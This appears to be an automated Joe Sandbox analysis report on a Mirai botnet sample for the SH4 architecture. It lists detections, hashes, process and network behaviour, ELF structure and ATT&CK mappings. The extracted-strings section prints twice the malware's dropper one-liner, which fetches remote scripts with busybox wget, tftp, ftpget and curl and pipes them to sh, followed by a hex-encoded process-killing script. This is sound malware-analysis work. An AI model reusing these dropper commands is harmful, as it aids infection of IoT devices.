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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1670283
MD5:	aca0455ab109f8e1eaac936d408bb196
SHA1:	81f44d6371d72f09bee240045d00113464f4c251
SHA256:	2e1c936a742c1672f5e8e0af47fde3d8f4fde57b482659ddc7a52bf412d57316
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670283
Start date and time:	2025-04-21 14:19:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/sh4.elf
PID:	6213
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

sh4.elf (PID: 6213, Parent: 6127, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

dash New Fork (PID: 6307, Parent: 4331)

rm (PID: 6307, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.M1mKupJPon /tmp/tmp.Uzt34yrZUW /tmp/tmp.DTn5C4P71C

dash New Fork (PID: 6308, Parent: 4331)

rm (PID: 6308, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.M1mKupJPon /tmp/tmp.Uzt34yrZUW /tmp/tmp.DTn5C4P71C

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sh4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6213.1.00007fa78c400000.00007fa78c412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sh4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: sh4.elf

ReversingLabs: Detection: 36%

Source: sh4.elf

String: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"`

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219

Source: sh4.elf	String found in binary or memory: http:///curl.sh
Source: sh4.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39242
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6307)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.M1mKupJPon /tmp/tmp.Uzt34yrZUW /tmp/tmp.DTn5C4P71C			Jump to behavior
Source: /usr/bin/dash (PID: 6308)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.M1mKupJPon /tmp/tmp.Uzt34yrZUW /tmp/tmp.DTn5C4P71C			Jump to behavior

Source: /tmp/sh4.elf (PID: 6213)

Queries kernel information via 'uname':

Jump to behavior

Source: sh4.elf, 6213.1.00007ffc32ea7000.00007ffc32ec8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 6213.1.00005575f5983000.00005575f5a07000.rw-.sdmp	Binary or memory string: uU5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 6213.1.00005575f5983000.00005575f5a07000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: sh4.elf, 6213.1.00005575f5983000.00005575f5a07000.rw-.sdmp	Binary or memory string: uU1!/usr/bin/vmtoolsd
Source: sh4.elf, 6213.1.00005575f5983000.00005575f5a07000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 6213.1.00007ffc32ea7000.00007ffc32ec8000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 6213.1.00007fa78c400000.00007fa78c412000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 6213.1.00007fa78c400000.00007fa78c412000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sh4.elf	36%	ReversingLabs	Linux.Backdoor.Gafgyt
sh4.elf	100%	Avira	LINUX/GM.Mirai.ET

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	sh4.elf	false		high
http:///curl.sh	sh4.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	lol.armv5l.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	lol.mips.elf	Get hash	malicious	Unknown	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	m-6.8-k.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	lol.armv5l.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	skid.armv5l.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	lol.armv5l.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	lol.mips.elf	Get hash	malicious	Unknown	Browse
	skid.armv5l.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	lol.armv5l.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	skid.mips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	lol.mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	skid.armv5l.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	lol.armv5l.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	skid.mips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	lol.mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	skid.armv5l.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	lol.armv5l.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	lol.mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	skid.armv5l.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	sshd.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	IMG001.exe	Get hash	malicious	Xmrig	Browse	13.213.51.196
	https://sqijuicab.cc.rs6.net/tn.jsp?f=001zNyJjNKUCpKO_QryPhIYqcNebS8zjliYrD0_nEJOz0MN8qwNcx19CtDJPCaz7qgOv_bKWgjcdUE1fYSsvQ29mu1jLnUD868QBqWPnR_kh680hzserhiFgiOhLCZ7dj0FgQqabotDW5QAOouGthjwC1DPY4j-scjKErBQOPKE1elDEMGOi9fYWduy3NOtG4CDDwKUJoQV8-abqwZT-eEb14iHF-0ygZra6pkhH2fMWetCg9xI0d4O_5seMZ0J6ejlk-SXP9cDDFWumhs2sWZ-V19Dw-21aE7FHBIMlVulK2rB4iNF-XP0uAYwFXeaXScjO4qNj86s3CELRzEnK2d9YppeccKeOhcGLmPjjJjRWXGExykPwYGiPH3k7GiZz1MPmX2ZVZaHIl5HE78ksMmCcPVYaN929PM5p16a-uBFzXR7XIrTQHuiso2gkkBo7IOXl7wXx4D-8GWi_AgO3JbApKecB5PmoV05vBVwnBU8tiSkmEIx7hDCxZzKCexNKSkD05yGXcRVo9w1k0_xFUYyqMqCP-1CEMwiZ-TEMlVECALDNrO1JuQcok0La9jVcKSQ&c=PkFmGK5nPWYg8aXQ5vy-PQUROZDcdZOmOdt7VyRwM4-3RJQ1LtQnrg==&ch=5tdgiPiGp0cXXUHQqrpg0IwOmv0MKFR7-LbYN5dtvVMKpE_Se2GErQ==	Get hash	malicious	Unknown	Browse	54.213.143.44
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	z3hir.arm	Get hash	malicious	Mirai	Browse	13.239.27.158
	lol.armv5l.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	skid.mips.elf	Get hash	malicious	Unknown	Browse	54.247.62.1
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	lol.mips.elf	Get hash	malicious	Unknown	Browse	34.249.145.219

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.8674034502694115
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	72'164 bytes
MD5:	aca0455ab109f8e1eaac936d408bb196
SHA1:	81f44d6371d72f09bee240045d00113464f4c251
SHA256:	2e1c936a742c1672f5e8e0af47fde3d8f4fde57b482659ddc7a52bf412d57316
SHA512:	38d868a72cbdf39b56259febbf7125a633225673a2ab19f2d2ca8f0cc763a593f1869eaffe03eb7a14cf509de4967afca666841518184235696f231bfe678055
SSDEEP:	1536:00c1DI7b/eGnUJjeRVKAqElz7oUL7VC5WnKnWtunGWR7o:0ZMvW038JONL7VJC6unGCo
TLSH:	FA638DA3C966BE58C94C5AF074F0CEB54B23A541816B1FFB5A85C6758003EECF51A3E8
File Content Preview:	.ELF.....................@.4...T.......4. ...(...............@...@...........................B...B.h....T..........Q.td............................././"O.n........#.@........#.*@,....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	71764
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xf440	0x0	0x6	AX	32
.fini	PROGBITS	0x40f520	0xf520	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40f544	0xf544	0x1f64	0x0	0x2	A	4
.ctors	PROGBITS	0x4214ac	0x114ac	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x4214b4	0x114b4	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x4214c0	0x114c0	0x354	0x0	0x3	WA	4
.bss	NOBITS	0x421814	0x11814	0x50a0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x11814	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x114a8	0x114a8	6.9113	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x114ac	0x4214ac	0x4214ac	0x368	0x5408	2.6732	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 12
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2025 14:19:58.629513025 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 21, 2025 14:20:04.004833937 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 21, 2025 14:20:05.540638924 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 21, 2025 14:20:19.618645906 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 21, 2025 14:20:22.886486053 CEST	39242	443	192.168.2.23	34.249.145.219
Apr 21, 2025 14:20:22.886540890 CEST	443	39242	34.249.145.219	192.168.2.23
Apr 21, 2025 14:20:22.886641979 CEST	39242	443	192.168.2.23	34.249.145.219
Apr 21, 2025 14:20:22.887320042 CEST	39242	443	192.168.2.23	34.249.145.219
Apr 21, 2025 14:20:22.887331009 CEST	443	39242	34.249.145.219	192.168.2.23
Apr 21, 2025 14:20:29.857290983 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 21, 2025 14:20:36.000350952 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 21, 2025 14:21:00.573025942 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 21, 2025 14:21:21.050108910 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 21, 2025 14:21:22.879009008 CEST	39242	443	192.168.2.23	34.249.145.219
Apr 21, 2025 14:21:22.920311928 CEST	443	39242	34.249.145.219	192.168.2.23
Apr 21, 2025 14:21:59.637181044 CEST	443	39242	34.249.145.219	192.168.2.23

System Behavior

Analysis Process: sh4.elf PID: 6213, Parent PID: 6127

General

Start time (UTC):	12:19:55
Start date (UTC):	21/04/2025
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	12:21:21
Start date (UTC):	21/04/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:21:21
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.M1mKupJPon /tmp/tmp.Uzt34yrZUW /tmp/tmp.DTn5C4P71C
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	12:21:21
Start date (UTC):	21/04/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:21:21
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.M1mKupJPon /tmp/tmp.Uzt34yrZUW /tmp/tmp.DTn5C4P71C
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: sh4.elf PID: 6213, Parent PID: 6127

General

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6307, Parent PID: 4331

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6307, Parent PID: 4331

General

File Activities

File Opened

Linux Analysis Report
sh4.elf